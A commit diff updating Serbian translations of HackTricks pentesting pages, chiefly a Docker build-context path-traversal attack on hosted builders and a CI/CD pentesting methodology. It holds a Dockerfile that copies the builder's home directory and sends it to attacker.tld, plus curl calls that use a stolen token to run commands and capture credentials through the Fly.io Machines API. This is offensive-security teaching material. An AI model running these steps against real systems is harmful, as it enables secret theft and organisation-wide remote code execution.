Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

This commit is contained in:
Translator
2025-10-25 22:37:02 +00:00
parent 6f62128e35
commit a7039b1133
3 changed files with 77 additions and 77 deletions

View File

@@ -1,29 +1,29 @@
# Zloupotreba Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
# Zloupotreba Docker Build Context u Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
## Ukratko
Ako CI/CD platforma ili hosted builder dozvoljava contributor-ima da specificiraju putanju Docker build context-a i putanju Dockerfile-a, često možete podesiti context na parent direktorijum (npr., "..") i učiniti fajlove hosta delom build context-a. Zatim, attacker-controlled Dockerfile može COPY i exfiltrate tajne pronađene u home direktorijumu build user-a (na primer, ~/.docker/config.json). Ukradeni registry tokeni mogu takođe raditi protiv provider-ovih control-plane API-ja, omogućavajući org-wide RCE.
Ako CI/CD platforma ili hosted builder dozvoljavaju contributorima da odrede Docker build context path i Dockerfile path, često možete postaviti context na parent directory (npr. "..") i učiniti fajlove sa hosta delom build context-a. Zatim attacker-controlled Dockerfile može da COPY i eksfiltrira tajne pronađene u home direktorijumu buildera (na primer, ~/.docker/config.json). Ukradeni registry tokens takođe mogu raditi protiv provider-ovih control-plane APIs, omogućavajući org-wide RCE.
## Attack surface
## Površina napada
Mnoge hosted builder/registry services rade otprilike ovo kada grade user-submitted images:
- Read a repo-level config that includes:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
- Build the image and run it as a hosted service
Mnoge hosted builder/registry usluge rade otprilike sledeće prilikom buildovanja image-a poslatih od strane korisnika:
- Pročitaju repo-nivo konfiguraciju koja uključuje:
- build context path (poslat Docker daemonu)
- Dockerfile path relativno u odnosu na taj context
- Kopiraju navedeni build context direktorijum i Dockerfile na Docker daemon
- Builduju image i pokreću ga kao hosted service
Ako platforma ne canonicalize-uje i ne ograniči build context, korisnik može podesiti context na lokaciju izvan repozitorijuma (path traversal), što uzrokuje da proizvoljni fajlovi hosta koje build user može čitati postanu deo build context-a i budu dostupni za COPY u Dockerfile-u.
Ako platforma ne kanonizuje i ne ograničava build context, korisnik može da ga postavi na lokaciju izvan repozitorijuma (path traversal), što dovodi do toga da proizvoljni fajlovi sa hosta, koji su čitljivi build user-u, postanu deo build context-a i dostupni za COPY u Dockerfile-u.
Praktična ograničenja koja se često posmatraju:
- Dockerfile mora biti unutar izabranog context path-a i njegov put mora biti poznat unapred.
- Build user mora imati read pristup fajlovima uključenim u context; specijalni device fajlovi mogu pokvariti copy.
Praktična ograničenja koja se često primećuju:
- Dockerfile mora biti unutar odabranog context path-a i njegova putanja mora biti poznata unapred.
- Build user mora imati read pristup fajlovima uključenim u context; specijalne device datoteke mogu pokvariti kopiranje.
## PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
Primer zlonamernog server config-a koji deklariše Dockerfile unutar context-a roditeljskog direktorijuma:
```yaml
runtime: "container"
build:
@@ -41,10 +41,10 @@ exampleConfig:
apiKey: "sk-example123"
```
Napomene:
- Korišćenjem ".." često se pristupa home direktorijumu korisnika builder (npr. /home/builder), koji obično sadrži osetljive fajlove.
- Postavite svoj Dockerfile ispod imena direktorijuma repo-a (npr. repo "test" → test/Dockerfile) tako da ostane unutar proširenog roditeljskog konteksta.
- Korišćenje ".." često se preslikava na home direktorijum korisnika 'builder' (npr. /home/builder), koji obično sadrži osetljive fajlove.
- Postavite vaš Dockerfile pod imenom direktorijuma repoa (npr. repo "test" → test/Dockerfile) tako da ostane unutar proširenog roditeljskog konteksta.
## PoC: Dockerfile to ingest and exfiltrate the host context
## PoC: Dockerfile za unošenje i eksfiltraciju host konteksta
```dockerfile
FROM alpine
RUN apk add --no-cache curl
@@ -52,19 +52,19 @@ RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Ciljevi koji se često pronađu u $HOME:
Ciljevi koji se često pronalaze u $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Ostali cloud/CLI keševi i konfiguracije (npr. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
- Ostali cloud/CLI keševi i konfiguracije (npr., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Savet: Čak i sa .dockerignore u repo, ranjivi izbor konteksta na strani platforme i dalje određuje šta se šalje daemon-u. Ako platforma kopira izabranu putanju na daemon pre nego što proceni vaš repos .dockerignore, host fajlovi i dalje mogu biti izloženi.
Savet: Čak i ako postoji .dockerignore u repozitorijumu, selekcija konteksta na strani platforme i dalje određuje šta se šalje ka daemonu. Ako platforma kopira izabrani put ka daemonu pre nego što proceni vaš repozitorijums .dockerignore, fajlovi sa hosta i dalje mogu biti izloženi.
## Cloud pivot sa tokenima sa prekomernim privilegijama (primer: Fly.io Machines API)
## Pivot u oblaku sa overprivileged tokens (primer: Fly.io Machines API)
Neke platforme izdaju jedan bearer token koji se može koristiti i za container registry i za control-plane API. Ako exfiltrate-ujete registry token, pokušajte ga iskoristiti protiv provider API-ja.
Neke platforme izdaju jedan bearer token koji se može koristiti i za container registry i za control-plane API. Ako eksfiltrujete registry token, probajte ga protiv provider API-ja.
Primer API poziva prema Fly.io Machines API koristeći ukradeni token iz ~/.docker/config.json:
Primer API poziva protiv Fly.io Machines API koristeći ukradeni token iz ~/.docker/config.json:
Enumerišite aplikacije u organizaciji:
Nabroj aplikacije u organizaciji:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Ishod: remote code execution u celoj organizaciji na svim hosted aplikacijama gde token ima dovoljne privilegije.
Ishod: remote code execution širom organizacije na svim hostovanim aplikacijama gde token ima dovoljne privilegije.
## Krađa tajni sa kompromitovanih hosted servisa
## Krađa tajni iz kompromitovanih hostovanih servisa
Sa exec/RCE na hosted serverima možete prikupiti client-supplied secrets (API keys, tokens) ili izvesti prompt-injection attacks. Primer: instalirajte tcpdump i presretnite HTTP saobraćaj na portu 8080 kako biste izvukli inbound credentials.
Sa exec/RCE na hostovanim serverima, možete prikupiti tajne koje su dostavili klijenti (API keys, tokens) ili izvesti prompt-injection napade. Primer: instalirajte tcpdump i snimite HTTP saobraćaj na portu 8080 kako biste izvukli dolazne kredencijale.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Zabeleženi zahtevi često sadrže client credentials u header-ima, telima ili query parametrima.
Snimljeni zahtevi često sadrže client credentials u headers, bodies, ili query params.
## References

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Pentesting CI/CD Metodologija
{{#include ../banners/hacktricks-training.md}}
@@ -6,51 +6,51 @@
## VCS
VCS znači **Version Control System**, ovaj sistem omogućava developerima da **upravljaju svojim izvorim kodom**. Najčešći je **git** i obično ćete ga naći u kompanijama koje koriste jednu od sledećih **platformi**:
VCS означава **Version Control System**, овај систем омогућава програмерима да **управљају својим source code-ом**. Најчешћи је **git** и обично ћете фирме наћи да га користе на једној од следећих **платформи**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Cloud providers (они нуде своје VCS платформе)
## CI/CD Pipelines
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** za različite svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-ovi se **okidaju određenim akcijama**, kao što su push-ovi koda, pull request-ovi ili zakazani zadaci. Korisni su za ubrzavanje puta od developmenta do productiona.
CI/CD pipelines омогућавају програмерима да **аутоматизују извршавање code-а** у разне сврхе, укључујући build, testing и deploy апликација. Ови аутоматизовани токови рада се **активирају специфичним акцијама**, као што су пушеви у репо (push), pull requests или заказани задаци. Они помажу да се процес од development-а до production-а поједностави.
Međutim, ovi sistemi moraju biti **pokrenuti negde** i obično sa **privilegiranim akreditivima za deploy koda ili pristup osetljivim informacijama**.
Међутим, ти системи морају да се **извршавају негде** и обично то радију са **повлашћеним credentials-има да би деплојовали code или приступили осетљивим информацијама**.
## VCS Pentesting Methodology
> [!NOTE]
> Čak i ako neke VCS platforme dozvoljavaju kreiranje pipelines, za ovaj odeljak ćemo analizirati samo potencijalne napade na kontrolu izvornog koda.
> Чак и ако неке VCS платформе дозвољавају креирање pipelines, за овај одељак ћемо анализирати само потенцијалне нападе на контролу source code-а.
Platforme koje sadrže izvorni kod vašeg projekta čuvaju osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama koje se dodeljuju unutar te platforme. Ovo su neki česti problemi na VCS platformama koje napadač može iskoristiti:
Платформе које чувају source code вашег пројекта садрже осетљиве информације и људи морају бити веома опрезни са дозволама које дају унутар те платформе. Ово су неки уобичајени проблеми на VCS платформама које нападач може злоупотребити:
- **Leaks**: Ako vaš kod sadrži leaks u commit-ovima i napadač može pristupiti repo-u (jer je javni ili zato što ima pristup), mogao bi otkriti te leaks.
- **Access**: Ako napadač može **pristupiti nalogu unutar VCS platforme** mogao bi dobiti **veću vidljivost i dozvole**.
- **Register**: Neke platforme će jednostavno dozvoliti spoljnim korisnicima da kreiraju nalog.
- **SSO**: Neke platforme neće dozvoliti registraciju, ali će omogućiti pristup svima sa validnim SSO (tako napadač može, na primer, ući koristeći svoj github nalog).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji nekoliko vrsta tokena koje korisnik može ukrasti da nekako pristupi repo-u.
- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** sa nevidljivim secrets, **napadač bi ih mogao iskoristiti**.
- Ako nema postavljenog secret-a, napadač bi mogao zloupotrebiti webhook treće strane
- Ako je secret u URL-u, isto važi i napadač tada ima i taj secret
- **Code compromise:** Ako maliciozni akter ima neku vrstu **write** pristupa nad repo-ima, mogao bi pokušati da **injektuje maliciozan kod**. Da bi bio uspešan možda će morati da **zaobiđe branch protections**. Ove akcije se mogu izvršiti sa različitim ciljevima:
- Kompromitovati main branch da bi **kompromitovao production**.
- Kompromitovati main (ili druge brancheve) da bi **kompromitovao developereve mašine** (jer oni obično izvršavaju testove, terraform ili druge stvari iz repo-a na svojim mašinama).
- **Komprotmisati pipeline** (pogledati sledeći odeljak)
- **Leaks**: Ако ваш code садржи leaks у commit-овима и нападач може приступити repo-у (јер је public или зато што има приступ), може открити leaks.
- **Access**: Ако нападач може да **приступи налогу на VCS платформи** могао би добити **већу видљивост и дозволе**.
- **Register**: Неке платформе ће једноставно дозволити спољним корисницима да креирају налог.
- **SSO**: Неке платформе неће дозволити регистровање корисника, али ће дозволити било коме да уђе са валидним SSO (на пример нападач може користити свој github налог да уђе).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... постоји више врста token-а које корисник може украсти да би на неки начин приступио repo-у.
- **Webhooks**: VCS платформе омогућавају генерисање webhooks. Ако нису **заштићени** са невиђеним secrets нападач их може злоупотребити.
- Ако нема секрета на месту, нападач може злоупотребити webhook треће стране платформе
- Ако је secret у URL-у, исто се дешава и нападач има тај secret
- **Code compromise:** Ако злонамерни актер има неки ниво **write** приступа над репо-овима, могао би покушати да **инјектује злонамерни код**. Да би био успешан можда ће морати да **заобиђе branch protections**. Ове акције се могу извршити са различитим циљевима:
- Компромитовати main branch да **компромитује production**.
- Компромитовати main (или друге brancheve) да **компромитује developer-ске машине** (јер они обично извршавају тестове, terraform или друге ствари из repo-а на својим машинама).
- **Compromise the pipeline** (погледај следећи одељак)
## Pipelines Pentesting Methodology
Najčešći način definisanja pipeline-a je korišćenjem **CI configuration file hostovanog u repository-ju** koji pipeline build-uje. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na tok i podešavanja build okruženja.\
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi koji se nalaze pod .github/workflows. Kada se okine, pipeline job **povlači kod** iz izabranog izvora (npr. commit / branch) i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
Најчешћи начин да се дефинише pipeline је коришћењем **CI configuration file-а који се налази у repository-ју** који pipeline гради. Тај фајл описује редослед извршених job-ова, услове који утичу на ток и подешавања build окружења.\
Ови фајлови обично имају конзистентно име и формат, на пример — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), и GitHub Actions YAML фајлови смештени под .github/workflows. Када се активира, pipeline job **повлачи code** из изабраног извора (нпр. commit / branch), и **извршава наредбе наведене у CI configuration фајлу** против тог code-а.
Dakle, krajnji cilj napadača je na neki način **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
Дакле, крајњи циљ нападача је на неки начин **компромитовати те configuration фајлове** или **наредбе које они извршавају**.
> [!TIP]
> Neki hosted builders dozvoljavaju contributor-ima da izaberu Docker build context i Dockerfile path. Ako je context pod kontrolom napadača, može ga postaviti izvan repo-a (npr., "..") da bi ingestovao fajlove hosta tokom build-a i eksfiltrirao secrets. Pogledajte:
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
>
>{{#ref}}
>docker-build-context-abuse.md
@@ -58,53 +58,53 @@ Dakle, krajnji cilj napadača je na neki način **kompromitovati te configuratio
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
Poisoned Pipeline Execution (PPE) пут експлоатише дозволе у SCM repository-ју да манипулише CI pipeline-ом и изврши штетне наредбе. Корисници са неопходним дозволама могу модификовати CI configuration фајлове или друге фајлове које pipeline job користи да укључе злонамерне наредбе. Ово „поји“ CI pipeline, што доводи до извршавања тих злонамерних наредби.
For a malicious actor to be successful performing a PPE attack he needs to be able to:
Да би злонамерни актер био успешан у PPE нападу, мора:
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
- Имати **write access на VCS платформи**, јер се pipeline-ови обично активирају када се уради push или pull request. (Погледај VCS pentesting methodology за резиме начина добијања приступа).
- Имајте на уму да понекад један **external PR може се сматрати "write access"**.
- Чак и ако има write permission-e, мора бити сигуран да може **модификовати CI config file или друге фајлове на које config зависи**.
- За ово може бити потребно да **заобиђе branch protections**.
There are 3 PPE flavours:
Постоје 3 PPE варијанте:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
- **D-PPE**: Direct PPE напад се дешава када актер **модификује CI config** фајл који ће бити извршен.
- **I-DDE**: Indirect PPE напад се дешава када актер **модификује** неки **фајл** на који CI config фајл који ће бити извршен **зависи** (нпр. make file или terraform конфигурацију).
- **Public PPE or 3PE**: У неким случајевима pipeline-ови могу бити **активирани од корисника који немају write access у repo-у** (и који можда чак нису ни део организације) јер могу послати PR.
- **3PE Command Injection**: Обично, CI/CD pipeline-ови ће **постављати environment variables** са **информацијама о PR-у**. Ако та вредност може бити контролисана од стране нападача (нпр. title of the PR) и **користи се** на **опасном месту** (нпр. извршавање sh commands), нападач може **инјектовати команде у њега**.
### Exploitation Benefits
Znanje o 3 flavour-a za poison-ovanje pipeline-a nam pokazuje šta napadač može dobiti nakon uspešne eksploatacije:
Познавање 3 варијанте пута да се poisoning pipeline омогућава преглед шта нападач може да добије након успешне експлоатације:
- **Secrets**: Kao što je prethodno pomenuto, pipeline-ovi zahtevaju **privilegije** za svoje job-ove (preuzimanje koda, build, deploy...) i te privilegije se obično čuvaju kao **secrets**. Ovi secrets su obično dostupni putem **env variables ili fajlova unutar sistema**. Dakle, napadač će uvek pokušati da eksfiltruje što više secrets-a.
- U zavisnosti od pipeline platforme napadač **možda mora da navede secrets u config-u**. To znači da ako napadač ne može da modifikuje CI configuration pipeline-a (**I-PPE**, na primer), mogao bi **samo eksfiltrirati secrets koje taj pipeline ima**.
- **Computation**: Kod se izvršava negde; u zavisnosti gde se izvršava, napadač može pivotirati dalje.
- **On-Premises**: Ako se pipeline izvršavaju on-premises, napadač može završiti u **internoj mreži sa pristupom dodatnim resursima**.
- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloud-u** ali takođe bi mogao **eksfiltrirati** IAM roles/service accounts **tokene** iz cloud-a da dobije **dalji pristup unutar clouda**.
- **Platforms machine**: Ponekad će job-ovi biti izvršeni unutar **mašina pipelines platforme**, koje obično nemaju dodatne privilegije.
- **Select it:** Ponekad **pipelines platforma ima konfigurisanih više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da se izvrši maliciozni kod**. U toj situaciji, napadač će verovatno pokrenuti reverse shell na svakoj raspoloživoj mašini da pokuša dalju eksploataciju.
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se odatle build-uje i deploy-uje, možete **kompromitovati kod koji će se izvršavati u production-u**.
- **Secrets**: Као што је поменуто раније, pipeline-ови захтевају **повластице** за своје job-ове (повлачење code-а, build, deploy...) и те повластице су обично **чуване у secrets-има**. Ови secrets су обично приступачни преко **env variables или фајлова у систему**. Стога ће нападач увек покушати да извуче што више secrets-а.
- У зависности од pipeline платформе нападач **можда мора да наведе secrets у config-у**. То значи да ако нападач не може да промени CI configuration pipeline-а (**I-PPE** на пример), он може **само исксфилтровати secrets које тај pipeline има**.
- **Computation**: Code се извршава негде; у зависности где се извршава, нападач може да се помери даље.
- **On-Premises**: Ако се pipeline-ови извршавају on-premises, нападач може завршити у **интерној мрежи са приступом више ресурса**.
- **Cloud**: Нападач може приступити **другим машинама у cloud-у** али такође може **извести** IAM roles/service accounts токене из њега да би добио **даљи приступ у облаку**.
- **Platforms machine**: Понекад job-ови ће се извршавати на **машинама платформе за pipeline-ове**, које обично налазе у cloud-у са **нема додатног приступа**.
- **Select it:** Понекад **pipeline платформа има конфигурисане неколико машина** и ако можете **модификовати CI configuration file** можете **навести где желите да покренете злонамерни code**. У таквој ситуацији, нападач ће вероватно покренути reverse shell на свакој могућој машини да покуша да даље експлоатише.
- **Compromise production**: Ако сте у pipeline-у и коначна верзија се гради и деплојује из ње, можете **компромитовати code који ће се наћи у production-у**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je open-source alat za auditanje vašeg software supply chain stack-a u pogledu sigurnosne usklađenosti zasnovane na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing pokriva ceo SDLC proces, gde može otkriti rizike od vremena kodiranja do vremena deploy-a.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) је open-source алат за аудиторске провере вашег software supply chain стека у смислу сигурности, базиран на новом [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит се фокусира на цео SDLC процес, где може открити ризике од code-а до deploy-а.
### Top 10 CI/CD Security Risk
Pogledajte ovaj interesantan članak o top 10 CI/CD rizika prema Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Погледајте овај занимљив чланак о top 10 CI/CD ризицима према Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Na svakoj platformi koju možete pokrenuti lokalno naći ćete uputstvo kako je lansirati lokalno tako da je možete konfigurisati po želji za testiranje
- На свакој платформи коју можете покренути локално наћи ћете упутство како да је покренете локално да је конфигуришете по вољи за тестирање
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** je static code analysis alat za infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** је static code analysis алат за infrastructure-as-code.
## References

View File

@@ -4,7 +4,7 @@
## Overview
Amazon Bedrock je potpuno upravljana usluga koja olakšava izgradnju i skaliranje generativnih AI aplikacija korišćenjem osnovnih modela (FMs) iz vodećih AI startupova i Amazona. Bedrock omogućava pristup različitim FMs putem jedinstvenog API-ja, što developerima dozvoljava da izaberu najpogodniji model za svoje specifične slučajeve upotrebe bez upravljanja osnovnom infrastrukturom.
Amazon Bedrock je potpuno upravljana usluga koja olakšava izgradnju i skaliranje generativnih AI aplikacija koristeći foundation models (FMs) iz vodećih AI startupa i Amazona. Bedrock omogućava pristup različitim FMs kroz jedinstveni API, što developerima omogućava da izaberu najprikladniji model za svoje specifične slučajeve upotrebe bez potrebe za upravljanjem osnovnom infrastrukturom.
## Post Exploitation